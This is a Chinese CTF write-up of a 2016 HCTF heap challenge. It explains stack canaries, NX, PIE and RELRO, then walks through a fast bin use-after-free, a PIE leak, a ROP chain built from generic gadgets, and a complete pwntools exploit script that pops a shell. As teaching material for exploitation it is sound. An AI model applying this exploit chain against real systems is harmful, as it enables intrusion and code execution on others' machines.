见微知著(一)：解析ctf中的pwn--Fast bin里的UAF
在网上关于ctf pwn的入门资料和writeup还是不少的，但是一些过渡的相关知识就比较少了，大部分赛棍都是在不断刷题中总结和进阶的。所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文，供大家参考和一起交流。当然，也不想搞那些烂大街的东西，所以，打算从一道道pwn题开始，见微知著，在题目中延伸。
一：工欲善其事必先利其器
ubuntu14.01 64位(该版本对pwntools的支持最好)。
pwntools:用于快速编写pwn的exp的python库，功能非常强大。
IDA：二进制必备的工具，主要用来反汇编代码，以及初步调试。
libc-database：用于猜测libc.so.6库的工具，非常好用。(可以在github里面找)
ROPgaget：用于查找和生成ROP链。
gdb：虽然Linux肯定自带了，但还是说一下吧。
二：一道2016HCTF的UAFpwn题
当然，拿到一个二进制文件，首先需要运行一下。看截图
当然，很蛋疼的是这个输入设置的也是醉了，最好先把IDA打开，看一下怎么输入。可以看出，这个题目的输入逻辑还是挺简单的，根据套路，一般是在堆上搞问题。在进行分析之前，再利用checksec(pwntools自带了?)检查一下文件的属性。
嗯！先来介绍一下checksec检测的各个属性的作用：
三：checksec里的各个属性和含义
i:Stack Guard
最熟悉的就是Stack Guard了，最经典的防护措施，记得最早接触是在看《深入理解计算机系统》的时候，通过在栈中插入Canary(这有一个很洋气的中文名,金丝雀值，具体典故可以自行google额，不多废话了)，通过在return之前监测值是否变化来确定是否发生了栈溢出。对于canary，在windows上(GS机制)和Linux上的初始化还是有很大的差别的，Windows上的产生就不多加阐述了，大致是.data的头四个字节和esp进行异或操作生成的，这里主要讲一下Linux的Stack Guard。
先来看一段有canary的汇编代码。
400610: 55 push %rbp
400611: 48 89 e5 mov %rsp,%rbp
400614: 48 83 ec 30 sub $0x30,%rsp
400618: 89 7d dc mov %edi,-0x24(%rbp)
40061b: 48 89 75 d0 mov %rsi,-0x30(%rbp)
40061f: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax <- 插入canary值
400626: 00 00
400628: 48 89 45 f8 mov %rax,-0x8(%rbp)
40062c: 31 c0 xor %eax,%eax
40062e: 48 8d 45 e0 lea -0x20(%rbp),%rax
400632: 48 89 c6 mov %rax,%rsi
400635: bf 00 07 40 00 mov $0x400700,%edi
40063a: b8 00 00 00 00 mov $0x0,%eax
40063f: e8 cc fe ff ff callq 400510 <__isoc99_scanf@plt>
400644: 48 8d 45 e0 lea -0x20(%rbp),%rax
400648: 48 89 c7 mov %rax,%rdi
40064b: e8 80 fe ff ff callq 4004d0 <puts@plt>
400650: b8 00 00 00 00 mov $0x0,%eax
400655: 48 8b 55 f8 mov -0x8(%rbp),%rdx <- 检查canary值
400659: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx
400660: 00 00
400662: 74 05 je 400669 <main+0x59> # 0x400669
400664: e8 77 fe ff ff callq 4004e0 <__stack_chk_fail@plt>
400669: c9 leaveq
40066a: c3 retq
可以看那两行表明为红色的汇编代码，可以发现canary就是fs:0x28的值了，在Linux中，glbc把fs指向tls，换句话说，canary的值在tls偏移0x28处，来看一下tls的数据结构
typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; <- canary值，偏移位置0x28处 uintptr_t pointer_guard; ...... } tcbhead_t;
其中tcbhead_t就是来描述tls的了，进程加载的过程中会调用arch_prctl系统调用来设置%fs的值，而canary的值则是在glibc的_dl_main和__libc_start_main函数中通过_dl_sysdep_start函数从内核获取的，说了这么多，就是想说，对canary的值进行猜测还是挺难的，绕过它的方法主流一般有两种，一种是step-by-step,还有一种是覆盖直接修改tls里的canary。当然，至于我说的绕过是正面刚，曲线救国的方法还是挺多的。以后的文章可能会就这个问题进行具体描述，这篇文章主要讲堆，就不继续扩展了。
ii:N^X
NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。绕过的最主流的方法就死ROP(return-orient-program)和JOP(Jump-orient-program)了，关于JOP，前一段时间打印了2010的那篇描述JOP的paper，但是这段时间到了考试周，也没空看(其实也是因为英文烂)。而且感觉在ctf中很少看见(当然，估计是刷题刷的少)，在Windows的exp上倒是经常混合使用。不过其实原理都差不多，在这个题中，会详细描述一下pwn使用ROP的一些套路。
iii:PIE
其实我还是喜欢叫ALSR(address space layout randomization)，无论如何，ALSR都是以页为单位的，所以在页中，位置不变，即可以修改最后一位进行绕过，这也是惯有套路了，这个题目就是通过这个手段来进行leak出进程的基地址。
iv:RELRO(Relocation Read Only)
gcc/linker/glibc dynamic-linker共同实现的,由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。可以尽可能减少存储区可写地址的范围，但是............只要有可写的地方就有利用的机会。具体的实现可以参考 http://hardenedlinux.org/2016/11/25/RelRO.html。针对这一点，0cft2017里面的writeup有非常经典的利用
四：分析和利用
静态分析代码怎么能少了IDA呢？把主要函数都起一个通俗易懂的名字，建立好核心的数据结构，理清具体的工作流程和堆的释放分配器情况(这个题目显然是在堆上搞问题)。先看一下得出的关键数据结构。
根据堆分配大小可以得出这个题目是关于块表分配的，关于堆分配的具体知识，可以去参考http://www.freebuf.com/articles/security-management/105285.html。而且在堆释放的时候的并没有必要的检查。所以完全可以试着去进行UAF。
UAF的基本流程是。malloc(sizeof(A))【A一般带函数指针】--->init(A)---->free(A)--->占位-->A的函数解引用，这个题目中，分配空间的途径只有一条，换句话说，这个问题的核心是如何将分配的数据覆盖到struct_str就好了，这里的方法很多种，在这里分享一种使用两种分配方式的方法(单纯一种也可以)，先看具体流程
为了完整性，粗略说一下fast bin的分配释放的方式。在fast bin中，是由单项链表连接起来的，每个chunk的pre_chunk指向之前回收的chunk，即回收的chunk出于链表头部，此时分配时也会从头部分配，这里值得补充的是fast bin在free的时候并不检查double free ，这样可以形成循环链表，循环链表可以有利于chunk循环利用，这个题目没必要这样，但可以了解一下，free(0)->free(1)->free(0)(本题并不使用该
使用该方法）。
在本题中，先是malloc(chunk0)->malloc(chunk1),其中chunk1，chunk2都小于16个字节，即进入上图的第二种情况。再free(chunk1)->free(chunk0)，此时只要分配一个大小为0x20的buffer就可以覆盖chunk1了。但是，这里有一个问题，题目开了PIE，所以只能覆盖12位，这里可以在12位的范围里找呀找，翻到了put，此时rdi指向了该chunk的，delete(chunk1)可以直接将put的位置泄露出来，根据put的位置可以得到进程加载的基地址如图：
代码如下：
addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d #d2d是相对于基地址put的偏移 print 'mainBase:', print hex(addr)
由于题中的二进制文件并没有system，所以需要在libc.so.6里拿到system的地址。这里有三种比较主流的方法可以得到chunk，如下：
五：得到libc.so.6 里的system的三种常用方法
1：利用libc-database
这一种是最简单暴力的，只要你有个足够大的libc-database就好了(其实我花了很长时间才明白这个道理的，之前都是慢慢leak出来的）。原理也很简单，就是记住每个版本的read，write, system, ”/bin/sh"的地址，由于地址随机化是以页为单位的，所以拿后12位，和自己leak出来的地址后12位对比，就可以得到用相应的版本，具体如下图：
2：leakLib
当然之前一种方法并不一定凑效，万一平台的libc版本你database里没有就尴尬了，所以你需要另一个方法来解决这个问题，说到这里，不得不说pwntools这个神器了，里面有关于这个的函数，你所需要的就是得到可以任意读至少一个字节的漏洞，根据这个就可以直接直接得到systemde地址了，当然具体原理，值得用一篇的篇幅来细讲，和3一起留在下一篇文章继续说。
3：Return-to-dl_solve
这个方法主要是利用自己伪造rel_entry，symtab，strtab，然后通过增大rel_offset来直接调用system函数，这种方法的原理和上一种方法一样，需要对PE文件格式有一定的了解才能彻底理解，详情放在下一篇。
六：编写Exploit
这个题目闲麻烦，就直接使用第一种了(毕竟打本地),后面两种方法就放在下一篇一起解决了。在编写exp之前，想介绍一下pwn的几个小技巧，
1>特别在堆上搞事情的pwn题，经常需要几个步才能实现一次分配或者释放，所以完全可以将封装成一个函数，还可以增加代码的可读性
2>合理使用 context()函数，gdb.attach()函数。这两个函数讷能够在调试中给予很大的便利,context(log_level='debug')可以输出运行过程中io交互的细节，而gdb.attach函数则是可以利用gdb调试，特别对于在Windows下习惯用OD的人来说，gdb并不是那么用户友好的，但是在很多场景下，gdb可能是唯一的选择，比如利用kgdb调试Linux内核，所以用好gdb还是很有必要的，至于怎么用的话，在实践中利用help，熟能生巧吧！
3>学会使用pwntools的各个函数，不得不说，pwntools里对很多pwn里经常使用的东西都进行高度封装了。
之前已经可以控制任意指针，并leak除了进程的加载基地址，现在完全可以leak其它的地址，再通过对比后12位，这样基本leak libc.so.6的地址了，这是说一下通用ROPgaget吧！
在64位程序中很蛋疼的一点是，它的参数优先放在寄存器中,顺序依次为rdi,rsi,rdx,rcx,r8,r9。而不是从栈中直接提取，这样的话就不能直接把参数放到栈上面了，这里需要我们来绕一个弯，这个弯就是利用pop rdi;ret。pop rsi;ret。pop rdx;ret。来解决。在题目中，可以通过ROPgaget来获取，但是程序中不一定能够直接得到，所以可以通过通用Gadget。
基本就是这一段代码，具体的描述请参考***********（文章没找到，最开始出现在乌云，到后到处转载，自己找一下应该就能找到了）
这是这个题目的ROP链
def creatROP(): ropchain = p64(addr + 0x00000000000011e3) # pop rdi ropchain += p64(addr + 0x202070)# got@malloc ropchain += p64(addr + 0x0000000000000990)# plt@put ropchain += p64(addr + 0x00000000000011DA)# magic ropchain += p64(0)# rbx ropchain += p64(1)# rbp ropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@read ropchain += p64(8)# r13 -> rdx ropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoi ropchain += p64(0)# r15 -> rdi ropchain += p64(addr + 0x00000000000011C0)# magic ropchain += 'a'*8*7 ropchain += p64(addr + 0x0000000000000B65)# getInt ropchain = 'yes AAAA'+ropchain return ropchain
看起来很长，其实设计已经成为套路了，详情可以自己调试看看。这里设计很巧妙的有点是，atoi函数直接是吧输入字符串作为参数，这样的话可以直接覆盖为system的地址，然后不需要设置参数，直接调用前一个函数就可以了。
七：exp实现
#! /usr/bin/python from pwn import * # switches DEBUG = 0 LOCAL = 1 VERBOSE = 1 # modify this if LOCAL: target = process('./heap') else: target = remote('119.28.62.216',10023) if VERBOSE: context(log_level='debug') def creatROP(): ropchain = p64(addr + 0x00000000000011e3) # pop rdi ropchain += p64(addr + 0x202070)# got@malloc ropchain += p64(addr + 0x0000000000000990)# plt@put ropchain += p64(addr + 0x00000000000011DA)# magic ropchain += p64(0)# rbx ropchain += p64(1)# rbp ropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@read ropchain += p64(8)# r13 -> rdx ropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoi ropchain += p64(0)# r15 -> rdi ropchain += p64(addr + 0x00000000000011C0)# magic ropchain += 'a'*8*7 ropchain += p64(addr + 0x0000000000000B65)# getInt ropchain = 'yes AAAA'+ropchain return ropchain def create(size, string): target.recvuntil('quit') target.sendline('create ') target.recvuntil('size:') target.sendline(str(size)) target.recvuntil('str:') target.send(string) def delete(id,payload='yes'): target.recvuntil('quit') target.sendline('delete ') target.recvuntil('id:') target.sendline(str(id)) target.recvuntil('sure?:') target.sendline(payload) if DEBUG: gdb.attach(target) a = raw_input('go2?') create(4, 'aaa\n') #a = raw_input('go?') create(4, 'aaa\n') #delete(0) delete(1) delete(0) #create(4, '\x00') create(0x20, 'a' * 0x16 + 'lo' + '\x2d') delete(1) target.recvuntil('lo') addr = target.recvline() addr = addr[:-1] put_addr = u64(addr + '\x00' * (8 - len(addr))) print 'putBase:'+str(hex(put_addr)) addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d print 'mainBase:', print hex(addr) delete(0) #create(4, '\x00') payload1 = 'a' * 0x18 + p64(0x00000000000011DC + addr) create(0x20,payload1) ropchain = creatROP() delete(1,ropchain) addr = target.recvline()[:-1] addr = u64(addr + '\x00' * (8 - len(addr))) print "malloc_addr:", print hex(addr) addr = addr - 534112 + 288144(这里可能要自己修改基地址) #addr = addr - 537984 + 283536 print 'System_addr:', print hex(addr) print 'LibBase:', print hex(addr) target.sendline(p64(addr)+'/bin/sh') target.interactive()
